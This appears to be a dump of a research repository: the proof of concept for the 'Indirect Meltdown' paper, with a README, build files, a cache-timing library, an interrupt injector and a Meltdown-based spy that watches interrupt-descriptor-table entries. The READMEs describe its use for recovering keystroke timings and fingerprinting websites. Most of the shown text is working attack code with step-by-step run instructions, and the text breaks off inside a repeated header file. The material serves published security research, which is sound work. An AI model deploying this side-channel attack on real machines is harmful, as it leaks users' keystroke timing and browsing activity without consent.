├── LICENSE ├── README.md ├── idt_reader ├── Makefile ├── README.md ├── cacheutils.h ├── find.sh ├── inject-single.c ├── inject.c └── main.c ├── inter_key_timings ├── .gitignore ├── Makefile ├── README.md ├── cacheutils.h ├── keylog.c ├── main.c └── results.py ├── mitigation ├── Makefile ├── README.md ├── cacheutils.h ├── main.c └── ptedit_header.h └── website_fp ├── Makefile ├── README.md ├── cacheutils.h ├── collect.sh ├── core_observer.h ├── find_core.py ├── list.txt ├── list_15.txt ├── main.c ├── run.sh └── website_classify ├── classify.py └── requirements.txt /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 CISPA 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Indirect Meltdown 2 | 3 | This repository contains the proof-of-concept implementation for the paper ["Indirect Meltdown: Building Novel Side-Channel Attacks from Transient Execution Attacks" (ESORICS 2023)](https://publications.cispa.saarland/4011/1/masc_esorics23.pdf). 4 | 5 | ## LeakIDT PoC 6 | The folder `idt_reader` contains a PoC for LeakIDT. 7 | The attacker code monitors the interrupt-descriptor table for a given offset and prints a message when it occurs. 8 | 9 | 10 | ## LeakIDT Mitigation PoC 11 | The folder `mitigation` contain the PoC for our proposed mitigation. 12 | 13 | ## Case Studies 14 | 15 | ### Website Fingerprinting 16 | The folder `website_fp` contains the code we used to fingerprint websites based on leaked network interrupts. 17 | 18 | ### Observing Keystroke Timings 19 | The folder `inter_key_timings` contains code recovering precise timings of keystrokes. 20 | 21 | ## Contact 22 | If there are questions regarding this tool, please send an email to `daniel.weber (AT) cispa` or message `@weber_daniel` on Twitter. 23 | 24 | ## Research Paper 25 | You can find the paper [here](https://publications.cispa.saarland/4011/1/masc_esorics23.pdf). 26 | You can cite our work with the following BibTeX entry: 27 | ```latex 28 | @inproceedings{Weber2023Indirect, 29 | author={Weber, Daniel and Thomas, Fabian and Gerlach, Lukas and Zhang, Ruiyi and Schwarz, Michael}, 30 | booktitle = {ESORICS}, 31 | title={Indirect Meltdown: Building Novel Side-Channel Attacks from Transient Execution Attacks}, 32 | year = {2023} 33 | } 34 | ``` 35 | 36 | ## Disclaimer 37 | We are providing this code as-is. 38 | You are responsible for protecting yourself, your property and data, and others from any risks caused by this code. 39 | This code may cause unexpected and undesirable behavior to occur on your machine. 40 | -------------------------------------------------------------------------------- /idt_reader/Makefile: -------------------------------------------------------------------------------- 1 | all: main.c cacheutils.h inject-single inject 2 | gcc main.c -Os -o spy 3 | 4 | inject: inject.c 5 | gcc inject.c -o inject 6 | 7 | inject-single: inject-single.c 8 | gcc inject-single.c -o inject-single 9 | 10 | clean: 11 | rm -f spy inject inject-single 12 | 13 | -------------------------------------------------------------------------------- /idt_reader/README.md: -------------------------------------------------------------------------------- 1 | # LeakIDT PoC 2 | 3 | ## Build 4 | Just run `make`. 5 | 6 | ## Run 7 | Execute the spy process, i.e., the one monitoring the IDT, execute `./spy `. 8 | 9 | To check whether the exploit is working on your machine, you can run an example by running two terminals like the following: 10 | ```bash 11 | # Terminal 1: 12 | taskset -c $CPU0 ./spy 120 13 | 14 | # Terminal 2: 15 | taskset -c $CPU1 ./inject 100 5000 16 | ``` 17 | Note that `$CPU0` and `$CPU1` must be a pair of sibling hyperthreads of the same physical CPU core. 18 | 19 | ## Generating Interrupts 20 | You have two possibilities of generating interrupts: 21 | 22 | First, you can directly create them using either `./inject-single` or `./inject`. 23 | The latter requires two command line arguments for the number of interrupts you want to inject and the number of CPU cycles you want to wait between injecting them, e.g., `./inject 100 5000`. 24 | Note that the injection process and the spy need to run on sibling hyperthreads (see FAQ). 25 | 26 | Second, you can generate interrupts by normal system activity, such as keystrokes. 27 | The script `./find.sh` acts as a helper to identify which offset of the IDT is used to process keyboard interrupts. 28 | 29 | ## FAQ 30 | ### Why does the spy process not detect anything? 31 | There could be multiple reasons: First, if your CPU is not affected by Meltdown, our attack does no work. You can check whether your system is affected by executing: `cat /sys/devices/system/cpu/vulnerabilities/meltdown`. 32 | Second, the spy only detects interrupts on the core it is running on, hence you should pin it to a specific core using `taskset`. 33 | 34 | ### How can I pin the process to a specific core? 35 | The `taskset` utility allows this. For example, to execute the spy on core 3, you can execute `tasket -c 3 ./spy`. 36 | 37 | ### How can I execute two processes on sibling hyperthreads? 38 | First, you need to figure out which pairs of hyperthreads exist on your system. 39 | You can find that information by executing `lscpu -e`. 40 | An example output would be the following: 41 | ``` 42 | # lscpu -e 43 | CPU NODE SOCKET CORE L1d:L1i:L2:L3 ONLINE MAXMHZ MINMHZ MHZ 44 | 0 0 0 0 0:0:0:0 yes 4700.0000 400.0000 1104.7870 45 | 1 0 0 1 1:1:1:0 yes 4700.0000 400.0000 1086.7960 46 | 2 0 0 2 2:2:2:0 yes 4700.0000 400.0000 1299.3500 47 | 3 0 0 3 3:3:3:0 yes 4700.0000 400.0000 1090.3840 48 | 4 0 0 0 0:0:0:0 yes 4700.0000 400.0000 1239.9270 49 | 5 0 0 1 1:1:1:0 yes 4700.0000 400.0000 1265.5720 50 | 6 0 0 2 2:2:2:0 yes 4700.0000 400.0000 1281.8730 51 | 7 0 0 3 3:3:3:0 yes 4700.0000 400.0000 1067.1121 52 | ``` 53 | Two CPUs that share the same core are considered a sibling hyperthreads, i.e., core 3 and core 7 in the above example. 54 | -------------------------------------------------------------------------------- /idt_reader/cacheutils.h: -------------------------------------------------------------------------------- 1 | #ifndef _CACHEUTILS_H_ 2 | #define _CACHEUTILS_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #define ARM_PERF 1 15 | #define ARM_CLOCK_MONOTONIC 2 16 | #define ARM_TIMER 3 17 | 18 | /* ============================================================ 19 | * User configuration 20 | * ============================================================ */ 21 | size_t CACHE_MISS = 0; 22 | 23 | #define USE_RDTSC_BEGIN_END 0 24 | 25 | #define USE_RDTSCP 1 26 | 27 | #define ARM_CLOCK_SOURCE ARM_CLOCK_MONOTONIC 28 | 29 | /* ============================================================ 30 | * User configuration End 31 | * ============================================================ */ 32 | 33 | /* ============================================================ 34 | * Macros 35 | * ============================================================ */ 36 | // example usage: asm volatile(INTELASM("clflush [rax]\n\t")); 37 | #define INTELASM(code) ".intel_syntax noprefix\n\t" code "\n\t.att_syntax prefix\n" 38 | 39 | 40 | // --------------------------------------------------------------------------- 41 | static size_t perf_fd; 42 | void perf_init() { 43 | static struct perf_event_attr attr; 44 | attr.type = PERF_TYPE_HARDWARE; 45 | attr.config = PERF_COUNT_HW_CPU_CYCLES; 46 | attr.size = sizeof(attr); 47 | attr.exclude_kernel = 1; 48 | attr.exclude_hv = 1; 49 | attr.exclude_callchain_kernel = 1; 50 | 51 | perf_fd = syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0); 52 | assert(perf_fd >= 0); 53 | 54 | // ioctl(perf_fd, PERF_EVENT_IOC_RESET, 0); 55 | } 56 | 57 | #if defined(__i386__) || defined(__x86_64__) 58 | // --------------------------------------------------------------------------- 59 | static inline uint64_t rdtsc() { 60 | uint64_t a = 0, d = 0; 61 | asm volatile("mfence"); 62 | #if defined(USE_RDTSCP) && defined(__x86_64__) 63 | asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx"); 64 | #elif defined(USE_RDTSCP) && defined(__i386__) 65 | asm volatile("rdtscp" : "=A"(a), :: "ecx"); 66 | #elif defined(__x86_64__) 67 | asm volatile("rdtsc" : "=a"(a), "=d"(d)); 68 | #elif defined(__i386__) 69 | asm volatile("rdtsc" : "=A"(a)); 70 | #endif 71 | a = (d << 32) | a; 72 | asm volatile("mfence"); 73 | return a; 74 | } 75 | 76 | #if defined(__x86_64__) 77 | // --------------------------------------------------------------------------- 78 | static inline void maccess(void *p) { 79 | asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); 80 | } 81 | 82 | // --------------------------------------------------------------------------- 83 | static void flush(void *p) { 84 | asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); 85 | } 86 | #else 87 | // --------------------------------------------------------------------------- 88 | static inline void maccess(void *p) { 89 | asm volatile("movl (%0), %%eax\n" : : "c"(p) : "eax"); 90 | } 91 | 92 | // --------------------------------------------------------------------------- 93 | static void flush(void *p) { 94 | asm volatile("clflush 0(%0)\n" : : "c"(p) : "eax"); 95 | } 96 | #endif 97 | 98 | // --------------------------------------------------------------------------- 99 | void mfence() { asm volatile("mfence"); } 100 | 101 | // --------------------------------------------------------------------------- 102 | void nospec() { asm volatile("lfence"); } 103 | 104 | #include 105 | // --------------------------------------------------------------------------- 106 | unsigned int xbegin() { 107 | unsigned status; 108 | asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory"); 109 | return status; 110 | } 111 | 112 | // --------------------------------------------------------------------------- 113 | void xend() { 114 | asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); 115 | } 116 | 117 | // --------------------------------------------------------------------------- 118 | int has_tsx() { 119 | if (__get_cpuid_max(0, NULL) >= 7) { 120 | unsigned a, b, c, d; 121 | __cpuid_count(7, 0, a, b, c, d); 122 | return (b & (1 << 11)) ? 1 : 0; 123 | } else { 124 | return 0; 125 | } 126 | } 127 | 128 | // --------------------------------------------------------------------------- 129 | void maccess_tsx(void* ptr) { 130 | if (xbegin() == (~0u)) { 131 | maccess(ptr); 132 | xend(); 133 | } 134 | } 135 | 136 | #elif defined(__aarch64__) 137 | #if ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 138 | #include 139 | #endif 140 | 141 | // --------------------------------------------------------------------------- 142 | uint64_t rdtsc() { 143 | #if ARM_CLOCK_SOURCE == ARM_PERF 144 | long long result = 0; 145 | 146 | asm volatile("DSB SY"); 147 | asm volatile("ISB"); 148 | 149 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 150 | return 0; 151 | } 152 | 153 | asm volatile("ISB"); 154 | asm volatile("DSB SY"); 155 | 156 | return result; 157 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 158 | asm volatile("DSB SY"); 159 | asm volatile("ISB"); 160 | struct timespec t1; 161 | clock_gettime(CLOCK_MONOTONIC, &t1); 162 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; 163 | asm volatile("ISB"); 164 | asm volatile("DSB SY"); 165 | return res; 166 | #elif ARM_CLOCK_SOURCE == ARM_TIMER 167 | uint64_t result = 0; 168 | 169 | asm volatile("DSB SY"); 170 | asm volatile("ISB"); 171 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); 172 | asm volatile("DSB SY"); 173 | asm volatile("ISB"); 174 | 175 | return result; 176 | #else 177 | #error Clock source not supported 178 | #endif 179 | } 180 | // --------------------------------------------------------------------------- 181 | uint64_t rdtsc_begin() { 182 | #if ARM_CLOCK_SOURCE == ARM_PERF 183 | long long result = 0; 184 | 185 | asm volatile("DSB SY"); 186 | asm volatile("ISB"); 187 | 188 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 189 | return 0; 190 | } 191 | 192 | asm volatile("DSB SY"); 193 | 194 | return result; 195 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 196 | asm volatile("DSB SY"); 197 | asm volatile("ISB"); 198 | struct timespec t1; 199 | clock_gettime(CLOCK_MONOTONIC, &t1); 200 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; 201 | asm volatile("DSB SY"); 202 | return res; 203 | #elif ARM_CLOCK_SOURCE == ARM_TIMER 204 | uint64_t result = 0; 205 | 206 | asm volatile("DSB SY"); 207 | asm volatile("ISB"); 208 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); 209 | asm volatile("ISB"); 210 | 211 | return result; 212 | #else 213 | #error Clock source not supported 214 | #endif 215 | } 216 | 217 | 218 | // --------------------------------------------------------------------------- 219 | uint64_t rdtsc_end() { 220 | #if ARM_CLOCK_SOURCE == ARM_PERF 221 | long long result = 0; 222 | 223 | asm volatile("DSB SY"); 224 | 225 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 226 | return 0; 227 | } 228 | 229 | asm volatile("ISB"); 230 | asm volatile("DSB SY"); 231 | 232 | return result; 233 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 234 | asm volatile("DSB SY"); 235 | struct timespec t1; 236 | clock_gettime(CLOCK_MONOTONIC, &t1); 237 | uint64_t res = t1.tv_sec * 1000 * 1000 * 1000ULL + t1.tv_nsec; 238 | asm volatile("ISB"); 239 | asm volatile("DSB SY"); 240 | return res; 241 | #elif ARM_CLOCK_SOURCE == ARM_TIMER 242 | uint64_t result = 0; 243 | 244 | asm volatile("DSB SY"); 245 | asm volatile("MRS %0, PMCCNTR_EL0" : "=r"(result)); 246 | asm volatile("DSB SY"); 247 | asm volatile("ISB"); 248 | 249 | return result; 250 | #else 251 | #error Clock source not supported 252 | #endif 253 | } 254 | 255 | // --------------------------------------------------------------------------- 256 | void flush(void *p) { 257 | asm volatile("DC CIVAC, %0" ::"r"(p)); 258 | asm volatile("DSB ISH"); 259 | asm volatile("ISB"); 260 | } 261 | 262 | // --------------------------------------------------------------------------- 263 | void maccess(void *p) { 264 | volatile uint32_t value; 265 | asm volatile("LDR %0, [%1]\n\t" : "=r"(value) : "r"(p)); 266 | asm volatile("DSB ISH"); 267 | asm volatile("ISB"); 268 | } 269 | 270 | // --------------------------------------------------------------------------- 271 | void mfence() { asm volatile("DSB ISH"); } 272 | 273 | // --------------------------------------------------------------------------- 274 | void nospec() { asm volatile("DSB SY\nISB"); } 275 | 276 | #endif 277 | 278 | // --------------------------------------------------------------------------- 279 | int flush_reload(void *ptr) { 280 | uint64_t start = 0, end = 0; 281 | 282 | #if USE_RDTSC_BEGIN_END 283 | start = rdtsc_begin(); 284 | #else 285 | start = rdtsc(); 286 | #endif 287 | maccess(ptr); 288 | #if USE_RDTSC_BEGIN_END 289 | end = rdtsc_end(); 290 | #else 291 | end = rdtsc(); 292 | #endif 293 | 294 | mfence(); 295 | 296 | flush(ptr); 297 | 298 | if (end - start < CACHE_MISS) { 299 | return 1; 300 | } 301 | return 0; 302 | } 303 | 304 | // --------------------------------------------------------------------------- 305 | int flush_reload_t(void *ptr) { 306 | uint64_t start = 0, end = 0; 307 | 308 | #if USE_RDTSC_BEGIN_END 309 | start = rdtsc_begin(); 310 | #else 311 | start = rdtsc(); 312 | #endif 313 | maccess(ptr); 314 | #if USE_RDTSC_BEGIN_END 315 | end = rdtsc_end(); 316 | #else 317 | end = rdtsc(); 318 | #endif 319 | 320 | mfence(); 321 | 322 | flush(ptr); 323 | 324 | return (int)(end - start); 325 | } 326 | 327 | // --------------------------------------------------------------------------- 328 | int reload_t(void *ptr) { 329 | uint64_t start = 0, end = 0; 330 | 331 | #if USE_RDTSC_BEGIN_END 332 | start = rdtsc_begin(); 333 | #else 334 | start = rdtsc(); 335 | #endif 336 | maccess(ptr); 337 | #if USE_RDTSC_BEGIN_END 338 | end = rdtsc_end(); 339 | #else 340 | end = rdtsc(); 341 | #endif 342 | 343 | mfence(); 344 | 345 | return (int)(end - start); 346 | } 347 | 348 | 349 | // --------------------------------------------------------------------------- 350 | size_t detect_flush_reload_threshold() { 351 | size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000; 352 | size_t dummy[16]; 353 | size_t *ptr = dummy + 8; 354 | uint64_t start = 0, end = 0; 355 | 356 | maccess(ptr); 357 | for (i = 0; i < count; i++) { 358 | reload_time += reload_t(ptr); 359 | } 360 | for (i = 0; i < count; i++) { 361 | flush_reload_time += flush_reload_t(ptr); 362 | } 363 | reload_time /= count; 364 | flush_reload_time /= count; 365 | 366 | return (flush_reload_time + reload_time * 2) / 3; 367 | } 368 | 369 | // --------------------------------------------------------------------------- 370 | void maccess_speculative(void* ptr) { 371 | int i; 372 | size_t dummy = 0; 373 | void* addr; 374 | 375 | for(i = 0; i < 50; i++) { 376 | size_t c = ((i * 167) + 13) & 1; 377 | addr = (void*)(((size_t)&dummy) * c + ((size_t)ptr) * (1 - c)); 378 | flush(&c); 379 | mfence(); 380 | if(c / 0.5 > 1.1) maccess(addr); 381 | } 382 | } 383 | 384 | 385 | // --------------------------------------------------------------------------- 386 | static jmp_buf trycatch_buf; 387 | 388 | // --------------------------------------------------------------------------- 389 | void unblock_signal(int signum __attribute__((__unused__))) { 390 | sigset_t sigs; 391 | sigemptyset(&sigs); 392 | sigaddset(&sigs, signum); 393 | sigprocmask(SIG_UNBLOCK, &sigs, NULL); 394 | } 395 | 396 | // --------------------------------------------------------------------------- 397 | void trycatch_segfault_handler(int signum) { 398 | (void)signum; 399 | unblock_signal(SIGSEGV); 400 | unblock_signal(SIGFPE); 401 | longjmp(trycatch_buf, 1); 402 | } 403 | 404 | // --------------------------------------------------------------------------- 405 | int try_start() { 406 | #if defined(__i386__) || defined(__x86_64__) 407 | if(has_tsx()) { 408 | unsigned status; 409 | // tsx begin 410 | asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" 411 | : "=a"(status) 412 | : "a"(-1UL) 413 | : "memory"); 414 | return status == (~0u); 415 | } else 416 | #endif 417 | { 418 | signal(SIGSEGV, trycatch_segfault_handler); 419 | signal(SIGFPE, trycatch_segfault_handler); 420 | return !setjmp(trycatch_buf); 421 | } 422 | } 423 | 424 | // --------------------------------------------------------------------------- 425 | void try_end() { 426 | #if defined(__i386__) || defined(__x86_64__) 427 | if(!has_tsx()) 428 | #endif 429 | { 430 | signal(SIGSEGV, SIG_DFL); 431 | signal(SIGFPE, SIG_DFL); 432 | } 433 | } 434 | 435 | // --------------------------------------------------------------------------- 436 | void try_abort() { 437 | #if defined(__i386__) || defined(__x86_64__) 438 | if(has_tsx()) { 439 | asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); 440 | } else 441 | #endif 442 | { 443 | maccess(0); 444 | } 445 | } 446 | 447 | 448 | #endif 449 | -------------------------------------------------------------------------------- /idt_reader/find.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | echo "Starting in 1 second, press keys!" 4 | sleep 1 5 | echo "Let's go" 6 | 7 | for c in $(seq 1 `nproc`); 8 | do 9 | for irq in $(seq 32 250); 10 | do 11 | echo $c:$irq 12 | timeout 0.5 taskset -c $c ./spy $irq | grep -c "Hit 2" 13 | done 14 | done 15 | -------------------------------------------------------------------------------- /idt_reader/inject-single.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "cacheutils.h" 4 | 5 | #define inject(x) if(!setjmp(trycatch_buf)) { asm volatile(x); } 6 | 7 | int main(int argc, char* argv[]) { 8 | signal(SIGSEGV, trycatch_segfault_handler); 9 | 10 | while(1) { 11 | printf("Press ENTER to send interrupt...\n"); 12 | getchar(); 13 | inject("int $120"); 14 | sched_yield(); 15 | } 16 | } 17 | 18 | -------------------------------------------------------------------------------- /idt_reader/inject.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "cacheutils.h" 4 | 5 | #define inject(x) if(!setjmp(trycatch_buf)) { asm volatile(x); } 6 | 7 | int main(int argc, char* argv[]) { 8 | if(argc < 2) { 9 | printf("Usage: %s \n", argv[0]); 10 | return 1; 11 | } 12 | signal(SIGSEGV, trycatch_segfault_handler); 13 | 14 | int count = atoi(argv[1]); 15 | size_t waittime = strtoull(argv[2], NULL, 0); 16 | 17 | for(int i = 0; i < count; i++) { 18 | 19 | inject("int $120"); 20 | 21 | size_t start = rdtsc(); 22 | while(rdtsc() - start < waittime); 23 | } 24 | } 25 | 26 | -------------------------------------------------------------------------------- /idt_reader/main.c: -------------------------------------------------------------------------------- 1 | #include "cacheutils.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #define TSX 0 8 | #define FAULT 1 9 | #define SPEC 2 10 | 11 | #define HANDLER FAULT 12 | 13 | #define speculation_start(label) asm goto ("call %l0" : : : "memory" : label##_retp); 14 | #define speculation_end(label) asm goto("jmp %l0" : : : "memory" : label); label##_retp: asm goto("lea %l0(%%rip), %%rax\nmovq %%rax, (%%rsp)\nret\n" : : : "memory","rax" : label); label: asm volatile("nop"); 15 | 16 | 17 | typedef struct { 18 | uint16_t limit; 19 | size_t base __attribute__((packed)); 20 | } idt_t; 21 | 22 | char __attribute__((aligned(4096))) oracle[4096 * 256]; 23 | char __attribute__((aligned(4096))) evictor[4096 * 16]; 24 | 25 | size_t hits = 0; 26 | 27 | int stopping(int dummy) { 28 | exit(0); 29 | } 30 | 31 | int main(int argc, char *argv[]) { 32 | if (argc != 2) { 33 | printf("Usage: %s \n", argv[0]); 34 | exit(1); 35 | } 36 | int offset = atoi(argv[1]); 37 | 38 | memset(oracle, 1, sizeof(oracle)); 39 | memset(evictor, 2, sizeof(evictor)); 40 | 41 | idt_t idt; 42 | asm volatile("sidt %0" : "=m"(idt) : : "memory"); 43 | printf("IDT base: 0x%zx\n", idt.base); 44 | 45 | if (!CACHE_MISS) 46 | CACHE_MISS = detect_flush_reload_threshold(); 47 | printf("Flush+Reload threshold: %zd\n", CACHE_MISS); 48 | 49 | signal(SIGSEGV, trycatch_segfault_handler); 50 | 51 | unsigned char *target = (unsigned char *)(idt.base + offset * 16); 52 | printf("Reading %p [offset %d] using Meltdown\n", target, offset); 53 | 54 | for (int i = 0; i < 256; i++) 55 | flush(oracle + i * 4096); 56 | int cnt = 0; 57 | 58 | signal(SIGINT, stopping); 59 | 60 | while (1) { 61 | #if HANDLER == FAULT 62 | if (!setjmp(trycatch_buf)) { 63 | maccess(NULL); 64 | #endif 65 | 66 | #if HANDLER == TSX 67 | if (xbegin() == (~0u)) { 68 | maccess(NULL); 69 | #endif 70 | 71 | #if HANDLER == SPEC 72 | speculation_start(sp); 73 | #endif 74 | maccess(oracle + !!(*target) * 4096); 75 | 76 | #if HANDLER == TSX 77 | xend(); 78 | } 79 | #endif 80 | #if HANDLER == FAULT 81 | } 82 | #endif 83 | #if HANDLER == SPEC 84 | speculation_end(sp); 85 | #endif 86 | if (flush_reload(oracle + 4096)) { 87 | printf("Hit %d!\n", hits); 88 | hits++; 89 | for (int ev = 0; ev < sizeof(evictor) / 4096; ev++) { 90 | maccess(evictor + ev * 4096 + offset * 16); 91 | } 92 | asm volatile("mfence"); 93 | } 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /inter_key_timings/.gitignore: -------------------------------------------------------------------------------- 1 | spy 2 | keylog 3 | -------------------------------------------------------------------------------- /inter_key_timings/Makefile: -------------------------------------------------------------------------------- 1 | all: spy keylog 2 | 3 | spy: main.c cacheutils.h 4 | gcc main.c -Os -o spy 5 | 6 | keylog: keylog.c 7 | gcc keylog.c -o keylog 8 | 9 | clean: 10 | rm -f spy keylog 11 | -------------------------------------------------------------------------------- /inter_key_timings/README.md: -------------------------------------------------------------------------------- 1 | # Inter Keystroke Timings 2 | 3 | ## Build 4 | Just run `make`. 5 | 6 | ## Record Keystroke Timings 7 | To record the keystroke timings, you must run the following command: 8 | ```bash 9 | taskset -c $CPU ./spy 32 > probe&; ./keylog > truth 10 | python3 ./results.py truth probe 11 | ``` 12 | whereas offset is the offset of the keyboard interrupt in the IDT. 13 | If you are unsure how you can find this or how `./spy` should be used please check the folder `idt_reader`. 14 | 15 | ## FAQ 16 | ### What value should I set for $CPU? 17 | You need to configure the CPU that is responsible for handling keyboard interrupts. You can identify that CPU using `idt_reader/find.sh`. 18 | 19 | ### It still does not work on my machine? 20 | This attack only works if your keyboard is using interrupts to communicate with the OS. If this is not the case for your keyboard, it will not work. A typical example for a working keyboard would be integrated keyboards of most laptops. 21 | -------------------------------------------------------------------------------- /inter_key_timings/cacheutils.h: -------------------------------------------------------------------------------- 1 | #ifndef _CACHEUTILS_H_ 2 | #define _CACHEUTILS_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #define ARM_PERF 1 15 | #define ARM_CLOCK_MONOTONIC 2 16 | #define ARM_TIMER 3 17 | 18 | /* ============================================================ 19 | * User configuration 20 | * ============================================================ */ 21 | size_t CACHE_MISS = 0; 22 | 23 | #define USE_RDTSC_BEGIN_END 0 24 | 25 | #define USE_RDTSCP 1 26 | 27 | #define ARM_CLOCK_SOURCE ARM_CLOCK_MONOTONIC 28 | 29 | /* ============================================================ 30 | * User configuration End 31 | * ============================================================ */ 32 | 33 | /* ============================================================ 34 | * Macros 35 | * ============================================================ */ 36 | // example usage: asm volatile(INTELASM("clflush [rax]\n\t")); 37 | #define INTELASM(code) ".intel_syntax noprefix\n\t" code "\n\t.att_syntax prefix\n" 38 | 39 | 40 | // --------------------------------------------------------------------------- 41 | static size_t perf_fd; 42 | void perf_init() { 43 | static struct perf_event_attr attr; 44 | attr.type = PERF_TYPE_HARDWARE; 45 | attr.config = PERF_COUNT_HW_CPU_CYCLES; 46 | attr.size = sizeof(attr); 47 | attr.exclude_kernel = 1; 48 | attr.exclude_hv = 1; 49 | attr.exclude_callchain_kernel = 1; 50 | 51 | perf_fd = syscall(__NR_perf_event_open, &attr, 0, -1, -1, 0); 52 | assert(perf_fd >= 0); 53 | 54 | // ioctl(perf_fd, PERF_EVENT_IOC_RESET, 0); 55 | } 56 | 57 | #if defined(__i386__) || defined(__x86_64__) 58 | // --------------------------------------------------------------------------- 59 | static inline uint64_t rdtsc() { 60 | uint64_t a = 0, d = 0; 61 | asm volatile("mfence"); 62 | #if defined(USE_RDTSCP) && defined(__x86_64__) 63 | asm volatile("rdtscp" : "=a"(a), "=d"(d) :: "rcx"); 64 | #elif defined(USE_RDTSCP) && defined(__i386__) 65 | asm volatile("rdtscp" : "=A"(a), :: "ecx"); 66 | #elif defined(__x86_64__) 67 | asm volatile("rdtsc" : "=a"(a), "=d"(d)); 68 | #elif defined(__i386__) 69 | asm volatile("rdtsc" : "=A"(a)); 70 | #endif 71 | a = (d << 32) | a; 72 | asm volatile("mfence"); 73 | return a; 74 | } 75 | 76 | #if defined(__x86_64__) 77 | // --------------------------------------------------------------------------- 78 | static inline void maccess(void *p) { 79 | asm volatile("movq (%0), %%rax\n" : : "c"(p) : "rax"); 80 | } 81 | 82 | // --------------------------------------------------------------------------- 83 | static void flush(void *p) { 84 | asm volatile("clflush 0(%0)\n" : : "c"(p) : "rax"); 85 | } 86 | #else 87 | // --------------------------------------------------------------------------- 88 | static inline void maccess(void *p) { 89 | asm volatile("movl (%0), %%eax\n" : : "c"(p) : "eax"); 90 | } 91 | 92 | // --------------------------------------------------------------------------- 93 | static void flush(void *p) { 94 | asm volatile("clflush 0(%0)\n" : : "c"(p) : "eax"); 95 | } 96 | #endif 97 | 98 | // --------------------------------------------------------------------------- 99 | void mfence() { asm volatile("mfence"); } 100 | 101 | // --------------------------------------------------------------------------- 102 | void nospec() { asm volatile("lfence"); } 103 | 104 | #include 105 | // --------------------------------------------------------------------------- 106 | unsigned int xbegin() { 107 | unsigned status; 108 | asm volatile(".byte 0xc7,0xf8,0x00,0x00,0x00,0x00" : "=a"(status) : "a"(-1UL) : "memory"); 109 | return status; 110 | } 111 | 112 | // --------------------------------------------------------------------------- 113 | void xend() { 114 | asm volatile(".byte 0x0f; .byte 0x01; .byte 0xd5" ::: "memory"); 115 | } 116 | 117 | // --------------------------------------------------------------------------- 118 | int has_tsx() { 119 | if (__get_cpuid_max(0, NULL) >= 7) { 120 | unsigned a, b, c, d; 121 | __cpuid_count(7, 0, a, b, c, d); 122 | return (b & (1 << 11)) ? 1 : 0; 123 | } else { 124 | return 0; 125 | } 126 | } 127 | 128 | // --------------------------------------------------------------------------- 129 | void maccess_tsx(void* ptr) { 130 | if (xbegin() == (~0u)) { 131 | maccess(ptr); 132 | xend(); 133 | } 134 | } 135 | 136 | #elif defined(__aarch64__) 137 | #if ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 138 | #include 139 | #endif 140 | 141 | // --------------------------------------------------------------------------- 142 | uint64_t rdtsc() { 143 | #if ARM_CLOCK_SOURCE == ARM_PERF 144 | long long result = 0; 145 | 146 | asm volatile("DSB SY"); 147 | asm volatile("ISB"); 148 | 149 | if (read(perf_fd, &result, sizeof(result)) < (ssize_t) sizeof(result)) { 150 | return 0; 151 | } 152 | 153 | asm volatile("ISB"); 154 | asm volatile("DSB SY"); 155 | 156 | return result; 157 | #elif ARM_CLOCK_SOURCE == ARM_CLOCK_MONOTONIC 158 | asm volatile("DSB SY"); 159 | asm volatile("ISB"); 160 | struct timespec t1; 161 | clock_gettime(CLOCK_MONOTONIC, &t1); 162 | uint64_t res = 